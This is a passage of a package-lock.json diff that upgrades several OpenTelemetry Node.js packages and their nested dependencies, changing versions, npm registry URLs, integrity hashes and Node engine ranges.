+ "peer": true,
"dependencies": {
- "@opentelemetry/api": "^1.0.0"
+ "@opentelemetry/api": "^1.3.0"
},
"engines": {
- "node": ">=14"
+ "node": ">=8.0.0"
}
},
"node_modules/@opentelemetry/context-async-hooks": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/context-async-hooks/-/context-async-hooks-1.24.1.tgz",
- "integrity": "sha512-R5r6DO4kgEOVBxFXhXjwospLQkv+sYxwCfjvoZBe7Zm6KKXAV9kDSJhi/D1BweowdZmO+sdbENLs374gER8hpQ==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/context-async-hooks/-/context-async-hooks-2.0.1.tgz",
+ "integrity": "sha512-XuY23lSI3d4PEqKA+7SLtAgwqIfc6E/E9eAQWLN1vlpC53ybO3o6jW4BsXo1xvz9lYyyWItfQDDLzezER01mCw==",
"license": "Apache-2.0",
"engines": {
- "node": ">=14"
- },
- "peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
- }
- },
- "node_modules/@opentelemetry/core": {
- "version": "1.30.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.30.1.tgz",
- "integrity": "sha512-OOCM2C/QIURhJMuKaekP3TRBxBKxG/TWWA0TL2J6nXUtDnuCtccy49LUJF8xPFXMX+0LMcxFpCo8M9cGY1W6rQ==",
- "license": "Apache-2.0",
- "dependencies": {
- "@opentelemetry/semantic-conventions": "1.28.0"
- },
- "engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
"@opentelemetry/api": ">=1.0.0 <1.10.0"
}
},
- "node_modules/@opentelemetry/exporter-trace-otlp-grpc": {
- "version": "0.51.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-grpc/-/exporter-trace-otlp-grpc-0.51.1.tgz",
- "integrity": "sha512-P9+Hkszih95ITvldGZ+kXvj9HpD1QfS+PwooyHK72GYA+Bgm+yUSAsDkUkDms8+s9HW6poxURv3LcjaMuBBpVQ==",
+ "node_modules/@opentelemetry/core": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.2.0.tgz",
+ "integrity": "sha512-FuabnnUm8LflnieVxs6eP7Z383hgQU4W1e3KJS6aOG3RxWxcHyBxH8fDMHNgu/gFx/M2jvTOW/4/PHhLz6bjWw==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/semantic-conventions": "^1.29.0"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": ">=1.0.0 <1.10.0"
+ }
+ },
+ "node_modules/@opentelemetry/exporter-logs-otlp-grpc": {
+ "version": "0.203.0",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-logs-otlp-grpc/-/exporter-logs-otlp-grpc-0.203.0.tgz",
+ "integrity": "sha512-g/2Y2noc/l96zmM+g0LdeuyYKINyBwN6FJySoU15LHPLcMN/1a0wNk2SegwKcxrRdE7Xsm7fkIR5n6XFe3QpPw==",
"license": "Apache-2.0",
"dependencies": {
"@grpc/grpc-js": "^1.7.1",
- "@opentelemetry/core": "1.24.1",
- "@opentelemetry/otlp-grpc-exporter-base": "0.51.1",
- "@opentelemetry/otlp-transformer": "0.51.1",
- "@opentelemetry/resources": "1.24.1",
- "@opentelemetry/sdk-trace-base": "1.24.1"
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/otlp-exporter-base": "0.203.0",
+ "@opentelemetry/otlp-grpc-exporter-base": "0.203.0",
+ "@opentelemetry/otlp-transformer": "0.203.0",
+ "@opentelemetry/sdk-logs": "0.203.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": "^1.0.0"
+ "@opentelemetry/api": "^1.3.0"
+ }
+ },
+ "node_modules/@opentelemetry/exporter-logs-otlp-grpc/node_modules/@opentelemetry/core": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz",
+ "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/semantic-conventions": "^1.29.0"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": ">=1.0.0 <1.10.0"
+ }
+ },
+ "node_modules/@opentelemetry/exporter-logs-otlp-http": {
+ "version": "0.203.0",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-logs-otlp-http/-/exporter-logs-otlp-http-0.203.0.tgz",
+ "integrity": "sha512-s0hys1ljqlMTbXx2XiplmMJg9wG570Z5lH7wMvrZX6lcODI56sG4HL03jklF63tBeyNwK2RV1/ntXGo3HgG4Qw==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/api-logs": "0.203.0",
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/otlp-exporter-base": "0.203.0",
+ "@opentelemetry/otlp-transformer": "0.203.0",
+ "@opentelemetry/sdk-logs": "0.203.0"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": "^1.3.0"
+ }
+ },
+ "node_modules/@opentelemetry/exporter-logs-otlp-http/node_modules/@opentelemetry/api-logs": {
+ "version": "0.203.0",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.203.0.tgz",
+ "integrity": "sha512-9B9RU0H7Ya1Dx/Rkyc4stuBZSGVQF27WigitInx2QQoj6KUpEFYPKoWjdFTunJYxmXmh17HeBvbMa1EhGyPmqQ==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/api": "^1.3.0"
+ },
+ "engines": {
+ "node": ">=8.0.0"
+ }
+ },
+ "node_modules/@opentelemetry/exporter-logs-otlp-http/node_modules/@opentelemetry/core": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz",
+ "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/semantic-conventions": "^1.29.0"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": ">=1.0.0 <1.10.0"
+ }
+ },
+ "node_modules/@opentelemetry/exporter-logs-otlp-proto": {
+ "version": "0.203.0",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-logs-otlp-proto/-/exporter-logs-otlp-proto-0.203.0.tgz",
+ "integrity": "sha512-nl/7S91MXn5R1aIzoWtMKGvqxgJgepB/sH9qW0rZvZtabnsjbf8OQ1uSx3yogtvLr0GzwD596nQKz2fV7q2RBw==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/api-logs": "0.203.0",
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/otlp-exporter-base": "0.203.0",
+ "@opentelemetry/otlp-transformer": "0.203.0",
+ "@opentelemetry/resources": "2.0.1",
+ "@opentelemetry/sdk-logs": "0.203.0",
+ "@opentelemetry/sdk-trace-base": "2.0.1"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": "^1.3.0"
+ }
+ },
+ "node_modules/@opentelemetry/exporter-logs-otlp-proto/node_modules/@opentelemetry/api-logs": {
+ "version": "0.203.0",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.203.0.tgz",
+ "integrity": "sha512-9B9RU0H7Ya1Dx/Rkyc4stuBZSGVQF27WigitInx2QQoj6KUpEFYPKoWjdFTunJYxmXmh17HeBvbMa1EhGyPmqQ==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/api": "^1.3.0"
+ },
+ "engines": {
+ "node": ">=8.0.0"
+ }
+ },
+ "node_modules/@opentelemetry/exporter-logs-otlp-proto/node_modules/@opentelemetry/core": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz",
+ "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/semantic-conventions": "^1.29.0"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": ">=1.0.0 <1.10.0"
+ }
+ },
+ "node_modules/@opentelemetry/exporter-logs-otlp-proto/node_modules/@opentelemetry/resources": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.0.1.tgz",
+ "integrity": "sha512-dZOB3R6zvBwDKnHDTB4X1xtMArB/d324VsbiPkX/Yu0Q8T2xceRthoIVFhJdvgVM2QhGVUyX9tzwiNxGtoBJUw==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/semantic-conventions": "^1.29.0"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": ">=1.3.0 <1.10.0"
+ }
+ },
+ "node_modules/@opentelemetry/exporter-logs-otlp-proto/node_modules/@opentelemetry/sdk-trace-base": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.0.1.tgz",
+ "integrity": "sha512-xYLlvk/xdScGx1aEqvxLwf6sXQLXCjk3/1SQT9X9AoN5rXRhkdvIFShuNNmtTEPRBqcsMbS4p/gJLNI2wXaDuQ==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/resources": "2.0.1",
+ "@opentelemetry/semantic-conventions": "^1.29.0"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": ">=1.3.0 <1.10.0"
+ }
+ },
+ "node_modules/@opentelemetry/exporter-metrics-otlp-grpc": {
+ "version": "0.203.0",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-metrics-otlp-grpc/-/exporter-metrics-otlp-grpc-0.203.0.tgz",
+ "integrity": "sha512-FCCj9nVZpumPQSEI57jRAA89hQQgONuoC35Lt+rayWY/mzCAc6BQT7RFyFaZKJ2B7IQ8kYjOCPsF/HGFWjdQkQ==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@grpc/grpc-js": "^1.7.1",
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/exporter-metrics-otlp-http": "0.203.0",
+ "@opentelemetry/otlp-exporter-base": "0.203.0",
+ "@opentelemetry/otlp-grpc-exporter-base": "0.203.0",
+ "@opentelemetry/otlp-transformer": "0.203.0",
+ "@opentelemetry/resources": "2.0.1",
+ "@opentelemetry/sdk-metrics": "2.0.1"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": "^1.3.0"
+ }
+ },
+ "node_modules/@opentelemetry/exporter-metrics-otlp-grpc/node_modules/@opentelemetry/core": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz",
+ "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/semantic-conventions": "^1.29.0"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": ">=1.0.0 <1.10.0"
+ }
+ },
+ "node_modules/@opentelemetry/exporter-metrics-otlp-grpc/node_modules/@opentelemetry/resources": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.0.1.tgz",
+ "integrity": "sha512-dZOB3R6zvBwDKnHDTB4X1xtMArB/d324VsbiPkX/Yu0Q8T2xceRthoIVFhJdvgVM2QhGVUyX9tzwiNxGtoBJUw==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/semantic-conventions": "^1.29.0"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": ">=1.3.0 <1.10.0"
+ }
+ },
+ "node_modules/@opentelemetry/exporter-metrics-otlp-http": {
+ "version": "0.203.0",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-metrics-otlp-http/-/exporter-metrics-otlp-http-0.203.0.tgz",
+ "integrity": "sha512-HFSW10y8lY6BTZecGNpV3GpoSy7eaO0Z6GATwZasnT4bEsILp8UJXNG5OmEsz4SdwCSYvyCbTJdNbZP3/8LGCQ==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/otlp-exporter-base": "0.203.0",
+ "@opentelemetry/otlp-transformer": "0.203.0",
+ "@opentelemetry/resources": "2.0.1",
+ "@opentelemetry/sdk-metrics": "2.0.1"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": "^1.3.0"
+ }
+ },
+ "node_modules/@opentelemetry/exporter-metrics-otlp-http/node_modules/@opentelemetry/core": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz",
+ "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/semantic-conventions": "^1.29.0"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": ">=1.0.0 <1.10.0"
+ }
+ },
+ "node_modules/@opentelemetry/exporter-metrics-otlp-http/node_modules/@opentelemetry/resources": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.0.1.tgz",
+ "integrity": "sha512-dZOB3R6zvBwDKnHDTB4X1xtMArB/d324VsbiPkX/Yu0Q8T2xceRthoIVFhJdvgVM2QhGVUyX9tzwiNxGtoBJUw==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/semantic-conventions": "^1.29.0"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": ">=1.3.0 <1.10.0"
+ }
+ },
+ "node_modules/@opentelemetry/exporter-metrics-otlp-proto": {
+ "version": "0.203.0",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-metrics-otlp-proto/-/exporter-metrics-otlp-proto-0.203.0.tgz",
+ "integrity": "sha512-OZnhyd9npU7QbyuHXFEPVm3LnjZYifuKpT3kTnF84mXeEQ84pJJZgyLBpU4FSkSwUkt/zbMyNAI7y5+jYTWGIg==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/exporter-metrics-otlp-http": "0.203.0",
+ "@opentelemetry/otlp-exporter-base": "0.203.0",
+ "@opentelemetry/otlp-transformer": "0.203.0",
+ "@opentelemetry/resources": "2.0.1",
+ "@opentelemetry/sdk-metrics": "2.0.1"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": "^1.3.0"
+ }
+ },
+ "node_modules/@opentelemetry/exporter-metrics-otlp-proto/node_modules/@opentelemetry/core": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz",
+ "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/semantic-conventions": "^1.29.0"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": ">=1.0.0 <1.10.0"
+ }
+ },
+ "node_modules/@opentelemetry/exporter-metrics-otlp-proto/node_modules/@opentelemetry/resources": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.0.1.tgz",
+ "integrity": "sha512-dZOB3R6zvBwDKnHDTB4X1xtMArB/d324VsbiPkX/Yu0Q8T2xceRthoIVFhJdvgVM2QhGVUyX9tzwiNxGtoBJUw==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/semantic-conventions": "^1.29.0"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": ">=1.3.0 <1.10.0"
+ }
+ },
+ "node_modules/@opentelemetry/exporter-prometheus": {
+ "version": "0.203.0",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-prometheus/-/exporter-prometheus-0.203.0.tgz",
+ "integrity": "sha512-2jLuNuw5m4sUj/SncDf/mFPabUxMZmmYetx5RKIMIQyPnl6G6ooFzfeE8aXNRf8YD1ZXNlCnRPcISxjveGJHNg==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/resources": "2.0.1",
+ "@opentelemetry/sdk-metrics": "2.0.1"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": "^1.3.0"
+ }
+ },
+ "node_modules/@opentelemetry/exporter-prometheus/node_modules/@opentelemetry/core": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz",
+ "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/semantic-conventions": "^1.29.0"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": ">=1.0.0 <1.10.0"
+ }
+ },
+ "node_modules/@opentelemetry/exporter-prometheus/node_modules/@opentelemetry/resources": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.0.1.tgz",
+ "integrity": "sha512-dZOB3R6zvBwDKnHDTB4X1xtMArB/d324VsbiPkX/Yu0Q8T2xceRthoIVFhJdvgVM2QhGVUyX9tzwiNxGtoBJUw==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/semantic-conventions": "^1.29.0"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": ">=1.3.0 <1.10.0"
+ }
+ },
+ "node_modules/@opentelemetry/exporter-trace-otlp-grpc": {
+ "version": "0.203.0",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-grpc/-/exporter-trace-otlp-grpc-0.203.0.tgz",
+ "integrity": "sha512-322coOTf81bm6cAA8+ML6A+m4r2xTCdmAZzGNTboPXRzhwPt4JEmovsFAs+grpdarObd68msOJ9FfH3jxM6wqA==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@grpc/grpc-js": "^1.7.1",
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/otlp-exporter-base": "0.203.0",
+ "@opentelemetry/otlp-grpc-exporter-base": "0.203.0",
+ "@opentelemetry/otlp-transformer": "0.203.0",
+ "@opentelemetry/resources": "2.0.1",
+ "@opentelemetry/sdk-trace-base": "2.0.1"
+ },
+ "engines": {
+ "node": "^18.19.0 || >=20.6.0"
+ },
+ "peerDependencies": {
+ "@opentelemetry/api": "^1.3.0"
}
},
"node_modules/@opentelemetry/exporter-trace-otlp-grpc/node_modules/@opentelemetry/core": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.24.1.tgz",
- "integrity": "sha512-wMSGfsdmibI88K9wB498zXY04yThPexo8jvwNNlm542HZB7XrrMRBbAyKJqG8qDRJwIBdBrPMi4V9ZPW/sqrcg==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz",
+ "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/semantic-conventions": "1.24.1"
+ "@opentelemetry/semantic-conventions": "^1.29.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
+ "@opentelemetry/api": ">=1.0.0 <1.10.0"
}
},
"node_modules/@opentelemetry/exporter-trace-otlp-grpc/node_modules/@opentelemetry/resources": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-1.24.1.tgz",
- "integrity": "sha512-cyv0MwAaPF7O86x5hk3NNgenMObeejZFLJJDVuSeSMIsknlsj3oOZzRv3qSzlwYomXsICfBeFFlxwHQte5mGXQ==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.0.1.tgz",
+ "integrity": "sha512-dZOB3R6zvBwDKnHDTB4X1xtMArB/d324VsbiPkX/Yu0Q8T2xceRthoIVFhJdvgVM2QhGVUyX9tzwiNxGtoBJUw==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/core": "1.24.1",
- "@opentelemetry/semantic-conventions": "1.24.1"
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/semantic-conventions": "^1.29.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
+ "@opentelemetry/api": ">=1.3.0 <1.10.0"
}
},
"node_modules/@opentelemetry/exporter-trace-otlp-grpc/node_modules/@opentelemetry/sdk-trace-base": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-1.24.1.tgz",
- "integrity": "sha512-zz+N423IcySgjihl2NfjBf0qw1RWe11XIAWVrTNOSSI6dtSPJiVom2zipFB2AEEtJWpv0Iz6DY6+TjnyTV5pWg==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.0.1.tgz",
+ "integrity": "sha512-xYLlvk/xdScGx1aEqvxLwf6sXQLXCjk3/1SQT9X9AoN5rXRhkdvIFShuNNmtTEPRBqcsMbS4p/gJLNI2wXaDuQ==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/core": "1.24.1",
- "@opentelemetry/resources": "1.24.1",
- "@opentelemetry/semantic-conventions": "1.24.1"
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/resources": "2.0.1",
+ "@opentelemetry/semantic-conventions": "^1.29.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
- }
- },
- "node_modules/@opentelemetry/exporter-trace-otlp-grpc/node_modules/@opentelemetry/semantic-conventions": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.24.1.tgz",
- "integrity": "sha512-VkliWlS4/+GHLLW7J/rVBA00uXus1SWvwFvcUDxDwmFxYfg/2VI6ekwdXS28cjI8Qz2ky2BzG8OUHo+WeYIWqw==",
- "license": "Apache-2.0",
- "engines": {
- "node": ">=14"
+ "@opentelemetry/api": ">=1.3.0 <1.10.0"
}
},
"node_modules/@opentelemetry/exporter-trace-otlp-http": {
- "version": "0.51.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-http/-/exporter-trace-otlp-http-0.51.1.tgz",
- "integrity": "sha512-n+LhLPsX07URh+HhV2SHVSvz1t4G/l/CE5BjpmhAPqeTceFac1VpyQkavWEJbvnK5bUEXijWt4LxAxFpt2fXyw==",
+ "version": "0.203.0",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-http/-/exporter-trace-otlp-http-0.203.0.tgz",
+ "integrity": "sha512-ZDiaswNYo0yq/cy1bBLJFe691izEJ6IgNmkjm4C6kE9ub/OMQqDXORx2D2j8fzTBTxONyzusbaZlqtfmyqURPw==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/core": "1.24.1",
- "@opentelemetry/otlp-exporter-base": "0.51.1",
- "@opentelemetry/otlp-transformer": "0.51.1",
- "@opentelemetry/resources": "1.24.1",
- "@opentelemetry/sdk-trace-base": "1.24.1"
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/otlp-exporter-base": "0.203.0",
+ "@opentelemetry/otlp-transformer": "0.203.0",
+ "@opentelemetry/resources": "2.0.1",
+ "@opentelemetry/sdk-trace-base": "2.0.1"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": "^1.0.0"
+ "@opentelemetry/api": "^1.3.0"
}
},
"node_modules/@opentelemetry/exporter-trace-otlp-http/node_modules/@opentelemetry/core": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.24.1.tgz",
- "integrity": "sha512-wMSGfsdmibI88K9wB498zXY04yThPexo8jvwNNlm542HZB7XrrMRBbAyKJqG8qDRJwIBdBrPMi4V9ZPW/sqrcg==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz",
+ "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/semantic-conventions": "1.24.1"
+ "@opentelemetry/semantic-conventions": "^1.29.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
+ "@opentelemetry/api": ">=1.0.0 <1.10.0"
}
},
"node_modules/@opentelemetry/exporter-trace-otlp-http/node_modules/@opentelemetry/resources": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-1.24.1.tgz",
- "integrity": "sha512-cyv0MwAaPF7O86x5hk3NNgenMObeejZFLJJDVuSeSMIsknlsj3oOZzRv3qSzlwYomXsICfBeFFlxwHQte5mGXQ==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.0.1.tgz",
+ "integrity": "sha512-dZOB3R6zvBwDKnHDTB4X1xtMArB/d324VsbiPkX/Yu0Q8T2xceRthoIVFhJdvgVM2QhGVUyX9tzwiNxGtoBJUw==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/core": "1.24.1",
- "@opentelemetry/semantic-conventions": "1.24.1"
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/semantic-conventions": "^1.29.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
"peerDependencies": {
- "@opentelemetry/api": ">=1.0.0 <1.9.0"
+ "@opentelemetry/api": ">=1.3.0 <1.10.0"
}
},
"node_modules/@opentelemetry/exporter-trace-otlp-http/node_modules/@opentelemetry/sdk-trace-base": {
- "version": "1.24.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-1.24.1.tgz",
- "integrity": "sha512-zz+N423IcySgjihl2NfjBf0qw1RWe11XIAWVrTNOSSI6dtSPJiVom2zipFB2AEEtJWpv0Iz6DY6+TjnyTV5pWg==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.0.1.tgz",
+ "integrity": "sha512-xYLlvk/xdScGx1aEqvxLwf6sXQLXCjk3/1SQT9X9AoN5rXRhkdvIFShuNNmtTEPRBqcsMbS4p/gJLNI2wXaDuQ==",
"license": "Apache-2.0",
"dependencies": {
- "@opentelemetry/core": "1.24.1",
- "@opentelemetry/resources": "1.24.1",
- "@opentelemetry/semantic-conventions": "1.24.1"
+ "@opentelemetry/core": "2.0.1",
+ "@opentelemetry/resources": "2.0.1",
+ "@opentelemetry/semantic-conventions": "^1.29.0"
},
"engines": {
- "node": ">=14"
+ "node": "^18.19.0 || >=20.6.0"
},
